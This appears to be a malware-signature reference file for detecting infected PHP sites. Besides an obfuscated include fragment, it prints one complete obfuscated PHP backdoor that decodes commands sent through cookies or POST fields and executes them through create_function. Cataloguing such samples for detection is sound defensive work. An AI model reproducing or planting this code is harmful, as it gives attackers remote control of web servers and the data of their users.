MALWARE PATTERNS

patterns.txt

php files:

@include "\057hom\145

En una línea:
$wfvxps = 'akyipHbgc2x3m0lf1-9t*\'r_es7#d4n5o8uv';$dzijbx = Array();$dzijbx[] = $wfvxps[5].$wfvxps[20];$dzijbx[] = $wfvxps[8].$wfvxps[22].$wfvxps[24].$wfvxps[0].$wfvxps[19].$wfvxps[24].$wfvxps[23].$wfvxps[15].$wfvxps[34].$wfvxps[30].$wfvxps[8].$wfvxps[19].$wfvxps[3].$wfvxps[32].$wfvxps[30];$dzijbx[] = $wfvxps[31].$wfvxps[6].$wfvxps[26].$wfvxps[18].$wfvxps[11].$wfvxps[15].$wfvxps[33].$wfvxps[13].$wfvxps[17].$wfvxps[31].$wfvxps[8].$wfvxps[0].$wfvxps[16].$wfvxps[17].$wfvxps[29].$wfvxps[24].$wfvxps[11].$wfvxps[15].$wfvxps[17].$wfvxps[6].$wfvxps[11].$wfvxps[18].$wfvxps[9].$wfvxps[17].$wfvxps[15].$wfvxps[11].$wfvxps[8].$wfvxps[28].$wfvxps[18].$wfvxps[11].$wfvxps[16].$wfvxps[29].$wfvxps[18].$wfvxps[8].$wfvxps[18].$wfvxps[9];$dzijbx[] = $wfvxps[27];$dzijbx[] = $wfvxps[8].$wfvxps[32].$wfvxps[34].$wfvxps[30].$wfvxps[19];$dzijbx[] = $wfvxps[25].$wfvxps[19].$wfvxps[22].$wfvxps[23].$wfvxps[22].$wfvxps[24].$wfvxps[4].$wfvxps[24].$wfvxps[0].$wfvxps[19];$dzijbx[] = $wfvxps[24].$wfvxps[10].$wfvxps[4].$wfvxps[14].$wfvxps[32].$wfvxps[28].$wfvxps[24];$dzijbx[] = $wfvxps[25].$wfvxps[34].$wfvxps[6].$wfvxps[25].$wfvxps[19].$wfvxps[22];$dzijbx[] = $wfvxps[0].$wfvxps[22].$wfvxps[22].$wfvxps[0].$wfvxps[2].$wfvxps[23].$wfvxps[12].$wfvxps[24].$wfvxps[22].$wfvxps[7].$wfvxps[24];$dzijbx[] = $wfvxps[25].$wfvxps[19].$wfvxps[22].$wfvxps[14].$wfvxps[24].$wfvxps[30];$dzijbx[] = $wfvxps[4].$wfvxps[0].$wfvxps[8].$wfvxps[1];foreach ($dzijbx[8]($_COOKIE, $_POST) as $wybnvvi => $fnjqht){function rngqadp($dzijbx, $wybnvvi, $xjdbqq){return $dzijbx[7]($dzijbx[5]($wybnvvi . $dzijbx[2], ($xjdbqq / $dzijbx[9]($wybnvvi)) + 1), 0, $xjdbqq);}function iutigf($dzijbx, $kbjbux){return @$dzijbx[10]($dzijbx[0], $kbjbux);}function mqdzbhy($dzijbx, $kbjbux){$pzhjg = $dzijbx[4]($kbjbux) % 3;if (!$pzhjg) {$iwwpaca = $dzijbx[1]; $eyagtt = $iwwpaca("", $kbjbux[1]($kbjbux[2]));$eyagtt();exit();}}$fnjqht = iutigf($dzijbx, $fnjqht);mqdzbhy($dzijbx, $dzijbx[6]($dzijbx[3], $fnjqht ^ rngqadp($dzijbx, $wybnvvi, $dzijbx[9]($fnjqht))));}